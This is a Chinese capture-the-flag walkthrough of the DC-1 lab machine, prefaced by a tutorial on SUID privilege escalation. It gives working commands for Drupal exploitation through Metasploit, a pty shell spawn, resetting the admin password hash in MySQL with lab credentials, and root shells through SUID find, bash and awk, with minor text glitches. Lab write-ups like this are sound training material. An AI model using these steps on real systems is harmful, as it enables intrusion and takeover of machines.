DC-1 复现
一、前置知识点
在开始打靶场之前,我们需要先理解一个非常经典、也非常重要的 Linux 提权点 —— SUID 提权。
很多初学者在枚举阶段看到带有 s 权限的文件会有些迷茫,但实际上,这往往是权限提升的关键突破口。
1.1 什么是 SetUID(SUID)
SetUID(Set User ID) 是 Linux 中的一种特殊权限位,用于 可执行文件。
当一个二进制文件被设置了 SUID 位后:
- 普通用户执行该文件时
- 该进程将 临时以文件所有者的身份运行
- 而不是以当前用户的身份运行
也就是说:
进程的有效用户 ID(EUID) = 文件所有者
例如:
-rwsr-xr-x 1 root root /usr/bin/passwdhttps://gtfobins.github.io/)
passwd 命令被设置了 SUID,普通用户才能修改 /etc/shadow,这本身是合理且必要的设计。
1.2 SUID 配置不当导致的提权风险
SUID 本身并不是漏洞,漏洞在于“不该有 SUID 的程序却被赋予了 SUID 权限”。
一旦以下条件成立:
- 可执行文件属于
root - 并被设置了
suid位 - 且该程序 能够执行外部命令 / 启动 shell / 调用系统函数
那么攻击者就可能:
通过该 SUID 程序,获得一个 root 权限的 shell
这也是 SUID 提权的本质:
利用被赋予 SUID 权限的程序执行命令,从而继承 root 权限
1.3 常见 SUID 提权思路
在实际靶机或真实环境中,通常流程如下:
-
枚举系统中带有 SUID 权限的文件
find / -perm -4000 -type f 2>/dev/null -
判断这些程序是否:
- 可交互
- 可执行系统命令
- 可调用 shell
- 可读取 / 写入关键文件
-
结合已有利用方式进行提权
1.4 常见可用于 SUID 提权的程序示例
注意:是否可提权与 版本、编译选项、安全补丁 强相关,下表仅作为思路参考。
| SUID 文件路径 | 提权方式示例 |
|---|---|
/usr/bin/bash |
bash -p |
/usr/bin/sh |
sh -p |
/usr/bin/csh |
csh -b |
/usr/bin/ksh |
ksh -p |
/usr/bin/zsh |
zsh |
/usr/bin/find |
find /etc/passwd -exec /bin/bash -p \; |
/usr/bin/awk |
awk 'BEGIN {system("/bin/bash")}' |
/usr/bin/man |
! /bin/bash |
/usr/bin/more |
! /bin/bash |
1.5 GTFOBins:SUID 提权的权威参考
在实际利用中,不需要死记硬背所有命令。
GTFOBins 是一个非常重要的参考网站,系统性整理了:
- 可用于提权的 Linux 程序
- SUID / sudo / capabilities / 文件读写 等多种利用方式
- 针对不同权限场景给出具体命令
GTFOBins:https://gtfobins.github.io/
在实战中:
枚举 → 查 GTFOBins → 验证 → 利用
几乎是 SUID 提权的标准流程。
1.6 小结
- SUID 是 Linux 的一种正常权限机制
- 配置不当的 SUID 程序 = 高危提权点
- 提权关键不在“有没有 SUID”,而在于:
- 这个程序“能做什么”
- GTFOBins 是 SUID 提权的必查资料库
后续内容将围绕 SUID 程序的发现、分析与实际利用 展开。
二、环境搭建
- 靶机下载地址
- 导入后启动,就可以了,但是要注意的是,一定要使用
NAT模式,你的kali也是NAT模式

三、复现过程
3.1 主机探活
爆破C段
nmap -sP 192.168.147.0/24

3.2 推理
首先,查看我们的IP地址
ifconfig

所以,合理推测为192.168.147.130
3.3 端口扫描
nmap -A -p- -v 192.168.147.130

可以看到80和22端口开着的,所以可以开启ssh,此时,访问一下web页面。
3.4 web 页面

发现其是Drupal框架,利用kali进行查找漏洞
msfconsole
search drupal

使用第一个

use 1

填写靶机IP地址


攻击成功。之后,进入shell查看,输入
whoami
id

我们列出文件

查看一下
cat flag1.txt

翻译一下

所以这个时候,我们要去找配置文件。

我们发现默认配置文件在这里
cd sites
ls
cd default
ls
cat settings.php
依次输入这些命令,找到settings.php,我们查看其文件。

发现flag2。翻译后,查看提示
暴力破解和字典攻击并非获取访问权限的唯一途径(而你总会需要这种权限)。
利用这些凭证,你能做什么呢?

登录MySQL,在这之前,需要使用
python -c 'import pty;pty.spawn("/bin/bash")' # 要注意的是,必须有 python 环境

这个命令进行调出终端,随后输入这个命令
mysql -udbuser -pR0ck3t

show databases;
use drupaldb;
show tables;
select uid,name,pass from users;

拿到密码。但是不知道具体的密码,所以只能进行改密码。
3.4.1 站点路径下执行
发现加密文件

php scripts/password-hash.sh sakura123

拿到hash加密后的密码
password: sakura123 hash: $S$Duc3gceXNRGz1MuKkh.Dc9.m4muwMJeTfhjnO3pwyNgk7O4HKMzF
3.4.2 进入数据库
update users set pass="$S$Duc3gceXNRGz1MuKkh.Dc9.m4muwMJeTfhjnO3pwyNgk7O4HKMzF" where name="admin";

3.5 登录站点

登陆成功。

发现flag3,点进去,发现提示

特殊权限将帮助查找密码文件——但你需要执行该命令才能获取影子文件中的内容。
使用命令查看suid权限的可执行二进制程序
find / -perm -4000 2>/dev/null

使用命令测试,发现为root权限
touch sakura
find /-name sakura -exec 'whoami' \;
发现为root权限。此时,输入以下命令,进入root权限后
find / -name sakura -exec '/bin/sh' \;
cd /root
ls
cat thefinalflag.txt

对于为什么要使用/bin/bash,在flag4里有提示,该界面在
cat /etc/passwd


浙公网安备 33010602011771号